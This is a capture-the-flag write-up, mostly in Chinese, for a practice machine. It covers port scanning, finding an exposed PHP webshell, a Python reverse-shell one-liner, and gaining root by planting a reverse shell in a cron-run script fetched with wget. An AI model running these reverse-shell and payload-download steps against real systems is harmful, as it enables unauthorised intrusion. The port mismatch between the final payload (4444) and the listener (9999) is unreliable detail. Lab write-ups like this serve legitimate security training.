Scanning and Enumeration:
nmap:
┌──(root💀kali)-[~] └─# nmap -sC -sV 10.10.10.68 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-21 21:08 EST Nmap scan report for 10.10.10.68 Host is up (0.22s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds
gobuster:
┌──(root💀kali)-[~] └─# gobuster dir -u http://10.10.10.68/ -w /user/share/dirb/wordlists/common.txt -x txt,php,py,cgi =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.68/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php,py,cgi [+] Timeout: 10s =============================================================== 2021/12/21 21:22:35 Starting gobuster in directory enumeration mode =============================================================== /.hta.txt (Status: 403) [Size: 294] /.hta.php (Status: 403) [Size: 294] /.hta (Status: 403) [Size: 290] /.hta.py (Status: 403) [Size: 293] /.hta.cgi (Status: 403) [Size: 294] /.htaccess (Status: 403) [Size: 295] /.htpasswd (Status: 403) [Size: 295] /.htaccess.php (Status: 403) [Size: 299] /.htpasswd.txt (Status: 403) [Size: 299] /.htaccess.py (Status: 403) [Size: 298] /.htpasswd.php (Status: 403) [Size: 299] /.htaccess.cgi (Status: 403) [Size: 299] /.htpasswd.py (Status: 403) [Size: 298] /.htaccess.txt (Status: 403) [Size: 299] /.htpasswd.cgi (Status: 403) [Size: 299] /config.php (Status: 200) [Size: 0] /css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/] /dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/] /fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/] /images (Status: 301) [Size: 311] [--> http://10.10.10.68/images/] /index.html (Status: 200) [Size: 7743] /js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/] /php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/] /server-status (Status: 403) [Size: 299] /uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/] =============================================================== 2021/12/21 21:31:09 Finished ===============================================================
找到了/dev/ 資料夾,打開瀏覽器輸入http://10.10.10.68/dev/
直接打開http://10.10.10.68/dev/phpbash.php就可以拿到一個最基本的shell了
目前這個使用者是www-data權限,並且也可以瀏覽 /home/xxx/user.txt。
再來可以使用python的reverseshell將shell反射到自己的terminal上會比較好操作
localhost: nc -nlvp 4444 phpbash: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<localhost IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Privilege Escalation:
提權起手式:sudo -l,這邊得知scriptmanager這個使用者可以使用sudo並且不用密碼,所以說現在必須先取得scriptmanager這個使用者權限。
這邊要切換過去有兩種思路:
1.sudo -u scriptmanager /bin/bash
2.sudo -i -u scriptmanager
在根目錄下面發現有一個scripts資料夾權限是由scriptmanager控制,進去之後發現有兩個檔案
從test.py內容發現它會將test123!放入test.txt當中,並且可以發現test.txt每兩分鐘就更新一次
更神奇的地方是明明是scriptmanager權限的檔案,卻可以產出一份root權限的檔案
這邊就合理懷疑有一支root權限bot每2分鐘執行一次test.py
所以這邊可以將reverse shell 寫在test.py 來讓bot執行進而取得root權限!!
主要目的為把reverse shell寫入test.py,但是當前取得的shell很難操作,vim超級難用!
我的做法為在本地端創建好一份新的test.py(chmod + x)
並且開啟http server隨後再到靶機內部使用wget把檔案載過去
f = open("test.txt", "w") f.write("testing 123!") f.close import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.17.219",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
localhost: python -m SimpleHTTPServer 9006 bashed: wget http://10.10.17.219:9006/test.py
最後在本地 nc -nlvp 9999等待reverse shell被執行!! 成功取得root!!
Reflections:
這台最大的問題我認為是存在一個可以公開訪問的webshell,這種情況在現實生活中應該見不到
開發人員大概以為沒有人可以找到/dev/ ,但是用gobuster卻一下子就找到
test.py也不應該使用root權限執行,這屬於安全性配置錯誤
整體來說這台機器難度算是非常簡單的,很適合新手練習